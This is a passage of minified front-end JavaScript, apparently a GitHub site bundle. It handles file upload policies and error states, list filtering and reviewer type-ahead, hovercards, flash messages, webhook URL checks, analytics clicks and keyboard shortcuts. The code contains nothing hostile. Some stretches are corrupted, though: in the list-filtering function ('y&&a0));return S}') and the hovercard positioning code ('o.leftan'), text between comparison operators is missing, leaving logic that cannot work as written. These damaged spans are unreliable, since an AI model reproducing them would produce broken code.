FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return e.textContent.toLowerCase().trim().startsWith(t)}s(wi,"prefix");function Ei(e,t){return e.hasAttribute("data-skip-substring-filter")||e.classList.contains("select-menu-no-results")?null:(e.querySelector("[data-filterable-item-text]")||e).textContent.toLowerCase().trim().includes(t)}s(Ei,"substring"),(0,c.on)("filterable:change","details-menu .select-menu-list",function(e){const t=e.currentTarget,n=t.querySelector(".js-new-item-form");n&&Li(t,n,e.detail.inputField.value)});function Li(e,t,n){const o=n.length>0&&!ji(e,n);if(e.classList.toggle("is-showing-new-item-form",o),!o)return;t.querySelector(".js-new-item-name").textContent=n;const r=t.querySelector(".js-new-item-value");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&(r.value=n)}s(Li,"toggleForm");function ji(e,t){for(const n of e.querySelectorAll("[data-menu-button-text]"))if(n.textContent.toLowerCase().trim()===t.toLowerCase())return!0;return!1}s(ji,"itemExists"),(0,u.N7)("tab-container .select-menu-list .filterable-empty, details-menu .select-menu-list .filterable-empty",{add(e){e.closest(".select-menu-list").classList.add("filterable-empty")},remove(e){e.closest(".select-menu-list").classList.remove("filterable-empty")}});const _o=navigator.userAgent.match(/Firefox\/(\d+)/);_o&&Number(_o[1])<76&&((0,u.N7)('details-menu label[tabindex][role^="menuitem"]',e=>{const t=e.querySelector("input");if(!t)return;const n=e.classList.contains("select-menu-item"),o=t.classList.contains("d-none"),r=n||o||t.hidden;n&&t.classList.add("d-block"),o&&t.classList.remove("d-none"),r&&(t.classList.add("sr-only"),t.hidden=!1),e.removeAttribute("tabindex")}),(0,c.on)("focus",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{const t=e.currentTarget.closest("label");t.classList.contains("select-menu-item")&&t.classList.add("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.add("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.add("hx_menuitem--focus"),e.currentTarget.addEventListener("blur",()=>{t.classList.contains("select-menu-item")&&t.classList.remove("navigation-focus"),t.classList.contains("SelectMenu-item")&&t.classList.remove("hx_menuitem--focus"),t.classList.contains("dropdown-item")&&t.classList.remove("hx_menuitem--focus")},{once:!0})},{capture:!0}),(0,j.w4)("keydown",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',async function(e){if(Po(e))e.currentTarget instanceof Element&&Si(e.currentTarget);else if(e.key==="Enter"){const t=e.currentTarget;e.preventDefault(),await(0,k.gJ)(),t instanceof HTMLInputElement&&t.click()}}),(0,c.on)("blur",'details-menu label input[role="menuitemradio"], details-menu label input[role="menuitemcheckbox"]',e=>{Io(e.currentTarget)},{capture:!0}),(0,j.w4)("keyup",'details-menu label[role="menuitemradio"] input, details-menu label[role="menuitemcheckbox"] input',e=>{!Po(e)||e.currentTarget instanceof Element&&Io(e.currentTarget)}));function Po(e){return e.key==="ArrowDown"||e.key==="ArrowUp"}s(Po,"isArrowKeys");function Si(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),e.setAttribute("role",t.getAttribute("data-role")),t.removeAttribute("role")}s(Si,"switchRoleToInputForNavigation");function Io(e){const t=e.closest("label");t.hasAttribute("data-role")||t.setAttribute("data-role",t.getAttribute("role")),t.setAttribute("role",t.getAttribute("data-role")),e.removeAttribute("role")}s(Io,"switchRoleBackToOriginalState");var nn=f(11820);function Do(){document.firstElementChild.classList.contains("js-skip-scroll-target-into-view")||(0,nn.lA)(document)&&(0,nn.kc)(document)}s(Do,"scrollTargetIntoViewIfNeeded"),(0,Xt.Z)(Do),(0,c.on)("click",'a[href^="#"]',function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&setTimeout(Do,0)}),(0,c.on)("click",".js-flash-close",function(e){const t=e.currentTarget.closest(".flash-messages");e.currentTarget.closest(".flash").remove(),t&&!t.querySelector(".flash")&&t.remove()});const Ti=["flash-notice","flash-error","flash-message","flash-warn"];function Ai(e){for(const{key:t,value:n}of Ti.flatMap(Ve.$1)){(0,Ve.kT)(t);let o;try{o=atob(decodeURIComponent(n))}catch{continue}e.after(new lt.R(e,{className:t,message:o}))}}s(Ai,"displayFlash"),(0,u.N7)("template.js-flash-template",{constructor:HTMLTemplateElement,add(e){Ai(e)}});const on=new WeakMap;document.addEventListener("focus",function(e){const t=e.target;t instanceof Element&&!on.get(t)&&((0,c.f)(t,"focusin:delay"),on.set(t,!0))},{capture:!0}),document.addEventListener("blur",function(e){setTimeout(function(){const t=e.target;t instanceof Element&&t!==document.activeElement&&((0,c.f)(t,"focusout:delay"),on.delete(t))},200)},{capture:!0}),(0,C.AC)(".js-form-toggle-target",async function(e,t){try{await t.text()}catch{return}const n=e.closest(".js-form-toggle-container");n.querySelector(".js-form-toggle-target[hidden]").hidden=!1,e.hidden=!0});var Ci=f(99254);function ki(e){e instanceof CustomEvent&&(0,h.x)(`${e.detail} results found.`)}s(ki,"noticeHandler"),(0,u.N7)("fuzzy-list",{constructor:Ci.Z,subscribe:e=>(0,M.RB)(e,"fuzzy-list-sorted",ki)}),(0,c.on)("click",".email-hidden-toggle",function(e){const t=e.currentTarget.nextElementSibling;t instanceof HTMLElement&&(t.style.display="",t.classList.toggle("expanded"),e.preventDefault())});var ou=f(30479);(0,u.N7)(".js-hook-url-field",{constructor:HTMLInputElement,add(e){function t(){const n=e.form;if(!n)return;let o;try{o=new URL(e.value)}catch{}const r=n.querySelector(".js-invalid-url-notice");r instanceof HTMLElement&&(r.hidden=!!(e.value===""||o&&/^https?:/.test(o.protocol)));const i=n.querySelector(".js-insecure-url-notice");i instanceof HTMLElement&&o&&e.value&&(i.hidden=/^https:$/.test(o.protocol));const a=n.querySelector(".js-ssl-hook-fields");a instanceof HTMLElement&&(a.hidden=!(o&&o.protocol==="https:"))}s(t,"checkUrl"),(0,te.oq)(e,t),t()}});function Ho(e){const t=document.querySelectorAll(".js-hook-event-checkbox");for(const n of t)n.checked=n.matches(e)}s(Ho,"chooseEvents"),(0,c.on)("change",".js-hook-event-choice",function(e){const t=e.currentTarget,n=t.checked&&t.value==="custom",o=t.closest(".js-hook-events-field");if(o&&o.classList.toggle("is-custom",n),t.checked)if(n){const r=document.querySelector(".js-hook-wildcard-event");r.checked=!1}else t.value==="push"?Ho('[value="push"]'):t.value==="all"&&Ho(".js-hook-wildcard-event")}),(0,c.on)("click",".js-hook-deliveries-pagination-button",async function(e){const t=e.currentTarget;t.disabled=!0;const n=t.parentElement,o=t.getAttribute("data-url");n.before(await(0,pe.a)(document,o)),n.remove()}),(0,C.AC)(".js-redeliver-hook-form",async function(e,t){let n;try{n=await t.html()}catch{e.classList.add("failed");return}document.querySelector(".js-hook-deliveries-container").replaceWith(n.html)});var $e=f(11793);(0,u.N7)("[data-hotkey]",{constructor:HTMLElement,add(e){if((0,at.Ty)())(0,$e.N9)(e);else{const t=e.getAttribute("data-hotkey");if(t){const n=xi(t);n.length>0&&(e.setAttribute("data-hotkey",n),(0,$e.N9)(e))}}},remove(e){(0,$e.Tz)(e)}});function xi(e){return e.split(",").filter(n=>(0,at.YE)(n)).join(",")}s(xi,"filterOutCharacterKeyShortcuts");var rn=f(53692);let ne=document.querySelector(".js-hovercard-content");(0,u.N7)(".js-hovercard-content",e=>{ne=e});const Mi=(0,qe.Z)(pe.a);let Ce,mt=null,sn,an=0;const cn=12,ln=24,Oo=ln-7,No=16,qi=100,Ri=250;function Re(e){return"Popover-message--"+e}s(Re,"contentClass");function _i(e){setTimeout(()=>{if(document.body&&document.body.contains(e)){const t=e.querySelector("[data-hovercard-tracking]");if(t){const o=t.getAttribute("data-hovercard-tracking");o&&(0,_.q)("user-hovercard-load",JSON.parse(o))}const n=e.querySelector("[data-hydro-view]");n instanceof HTMLElement&&(0,rn.Fk)(n)}},500)}s(_i,"trackLoad");function Fe(){ne instanceof HTMLElement&&(ne.style.display="none",ne.children[0].innerHTML="",mt=null,Ce=null)}s(Fe,"hideCard");function Pi(e){const t=e.getClientRects();let n=t[0]||e.getBoundingClientRect()||{top:0,left:0,height:0,width:0};if(t.length>0){for(const o of t)if(o.leftan){n=o;break}}return n}s(Pi,"selectRectNearestMouse");function Ii(e){const{width:t,height:n}=ne.getBoundingClientRect(),{left:o,top:r,height:i,width:a}=Pi(e),l=r>n;if(e.classList.contains("js-hovercard-left")){const w=o-t-cn,S=r+i/2;return{containerTop:l?S-n+Oo+No/2:S-Oo-No/2,containerLeft:w,contentClassSuffix:l?"right-bottom":"right-top"}}else{const w=window.innerWidth-o>t,S=o+a/2,R=w?S-ln:S-t+ln;return{containerTop:l?r-n-cn:r+i+cn,containerLeft:R,contentClassSuffix:l?w?"bottom-left":"bottom-right":w?"top-left":"top-right"}}}s(Ii,"calculatePositions");function Di(e,t){if(!(ne instanceof HTMLElement))return;ne.style.visibility="hidden",ne.style.display="block",t.classList.remove(Re("bottom-left"),Re("bottom-right"),Re("right-top"),Re("right-bottom"),Re("top-left"),Re("top-right"));const{containerTop:n,containerLeft:o,contentClassSuffix:r}=Ii(e);t.classList.add(Re(r)),ne.style.top=`${n+window.pageYOffset}px`,ne.style.left=`${o+window.pageXOffset}px`,zi(e,ne),ne.style.visibility=""}s(Di,"positionCard");function Hi(e,t){if(!(ne instanceof HTMLElement))return;const n=ne.children[0];n.innerHTML="";const o=document.createElement("div");for(const r of e.children)o.appendChild(r.cloneNode(!0));n.appendChild(o),Di(t,n),_i(o),ne.style.display="block"}s(Hi,"showCard");function Oi(e){const t=e.closest("[data-hovercard-subject-tag]");if(t)return t.getAttribute("data-hovercard-subject-tag");const n=document.head&&document.head.querySelector('meta[name="hovercard-subject-tag"]');return n?n.getAttribute("content"):null}s(Oi,"determineEnclosingSubject");function Ni(e){const t=e.getAttribute("data-hovercard-url");if(t){const n=Oi(e);if(n){const o=new URL(t,window.location.origin),r=new URLSearchParams(o.search.slice(1));return r.append("subject",n),r.append("current_path",window.location.pathname+window.location.search),o.search=r.toString(),o.toString()}return t}return""}s(Ni,"hovercardUrlFromTarget");function Bi(e){const t=e.getAttribute("data-hovercard-type");return t==="pull_request"||t==="issue"?!!e.closest("[data-issue-and-pr-hovercards-enabled]"):t==="team"?!!e.closest("[data-team-hovercards-enabled]"):t==="repository"?!!e.closest("[data-repository-hovercards-enabled]"):t==="commit"?!!e.closest("[data-commit-hovercards-enabled]"):t==="project"?!!e.closest("[data-project-hovercards-enabled]"):t==="discussion"?!!e.closest("[data-discussion-hovercards-enabled]"):t==="acv_badge"?!!e.closest("[data-acv-badge-hovercards-enabled]"):t==="sponsors_listing"?!!e.closest("[data-sponsors-listing-hovercards-enabled]"):!0}s(Bi,"hovercardsAreEnabledForType");async function $i(e,t){if("ontouchstart"in document)return;const o=e.currentTarget;if(e instanceof MouseEvent&&(an=e.clientX),!(o instanceof Element)||Ce===o||o.closest(".js-hovercard-content")||!Bi(o))return;Fe(),Ce=o,mt=document.activeElement;const r=Ni(o);let i;try{const a=new Promise(l=>window.setTimeout(l,t,0));i=await Mi(document,r),await a}catch(a){const l=a.response;if(l&&l.status===404){const y="Hovercard is unavailable";o.setAttribute("aria-label",y),o.classList.add("tooltipped","tooltipped-ne")}else if(l&&l.status===410){const y=await l.clone().json();o.setAttribute("aria-label",y.message),o.classList.add("tooltipped","tooltipped-ne")}return}o===Ce&&(Hi(i,o),e instanceof KeyboardEvent&&ne instanceof HTMLElement&&ne.focus())}s($i,"activateFn");function Fi(e){$i(e,Ri)}s(Fi,"activateWithTimeoutFn");function un(e){if(!!Ce){if(e instanceof MouseEvent&&e.relatedTarget instanceof HTMLElement){const t=e.relatedTarget;if(t.closest(".js-hovercard-content")||t.closest("[data-hovercard-url]"))return}else e instanceof KeyboardEvent&&mt instanceof HTMLElement&&mt.focus();Fe()}}s(un,"deactivateFn");function Ui(e){const t=Ce;sn=window.setTimeout(()=>{Ce===t&&un(e)},qi)}s(Ui,"deactivateWithTimeoutFn");function Bo(e){if(e instanceof KeyboardEvent)switch(e.key){case"Escape":un(e)}}s(Bo,"keyupFn");function Wi(){sn&&clearTimeout(sn)}s(Wi,"cancelDeactivation"),ne&&((0,u.N7)("[data-hovercard-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Fi),(0,M.RB)(e,"mouseleave",Ui),(0,M.RB)(e,"keyup",Bo))}),(0,u.N7)("[data-hovercard-url]",{remove(e){Ce===e&&Fe()}}),(0,u.N7)(".js-hovercard-content",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"mouseover",Wi),(0,M.RB)(e,"mouseleave",un),(0,M.RB)(e,"keyup",Bo))}),(0,c.on)("menu:activated","details",Fe),window.addEventListener("turbo:load",Fe),window.addEventListener("statechange",Fe));function zi(e,t){const n=e.getAttribute("data-hovercard-z-index-override");n?t.style.zIndex=n:t.style.zIndex="100"}s(zi,"setZIndexOverride"),async function(){document.addEventListener("pjax:complete",()=>(0,_.Y)({pjax:"true"})),document.addEventListener("soft-nav:success",()=>(0,_.Y)({turbo:"true"})),await me.C,(0,_.Y)()}(),(0,c.on)("click","[data-octo-click]",function(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;const n=t.getAttribute("data-octo-click")||"",o={};if(t.hasAttribute("data-ga-click")){const i=t.getAttribute("data-ga-click").split(",");o.category=i[0].trim(),o.action=i[1].trim()}if(t.hasAttribute("data-octo-dimensions")){const r=t.getAttribute("data-octo-dimensions").split(",");for(const i of r){const[a,l]=i.split(/:(.+)/);a&&(o[a]=l||"")}}(0,_.q)(n,o)});var $o=f(84818);const{getItem:su}=(0,$o.Z)("localStorage");function Fo(e,t){var n,o}s(Fo,"debugPayload"),(0,c.on)("click","[data-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-hydro-click")||"",o=t.getAttribute("data-hydro-click-hmac")||"",r=t.getAttribute("data-hydro-client-context")||"";Fo("hydro-debug.click",n),(0,rn.$S)(n,o,r)}),(0,c.on)("click","[data-optimizely-hydro-click]",function(e){const t=e.currentTarget,n=t.getAttribute("data-optimizely-hydro-click")||"",o=t.getAttribute("data-optimizely-hydro-click-hmac")||"";Fo("hydro-debug.optimizely",n),(0,rn.$S)(n,o,"")}),(0,C.AC)(".js-immediate-updates",async function(e,t){let n;try{n=(await t.json()).json.updateContent}catch(o){o.response.json&&(n=o.response.json.updateContent)}if(n)for(const o in n){const r=n[o],i=document.querySelector(o);i instanceof HTMLElement&&(0,Me.Of)(i,r)}}),document.addEventListener("DOMContentLoaded",Ki);async function Ki(){if((0,U.c)("IMAGE_METRIC_TRACKING")===!1)return;const e=Array.from(document.querySelectorAll("img.js-img-time")).slice(0,5),t=Date.now(),n=[];await Promise.all(e.map(o=>Vi(o,t,n))),n.length>0&&(0,he.b)({transparentRedirectTimings:n})}s(Ki,"onDOMContentLoaded");async function Vi(e,t,n){const o=/\/assets\/storage\/user\/([0-9]+)\/files\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,r=/assets\/([0-9]+)\/([{]?[0-9a-fA-F]{8}-([0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}[}]?)/,i=e.getAttribute("src");if(!i)return;const a=new URL(i,window.location.origin),l=o.test(a.pathname)?o:r,[,y,w]=a.pathname.match(l)||[];if(!y||!w)return;await fetch(`/assets/measure/${y}/${w}`);const R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new 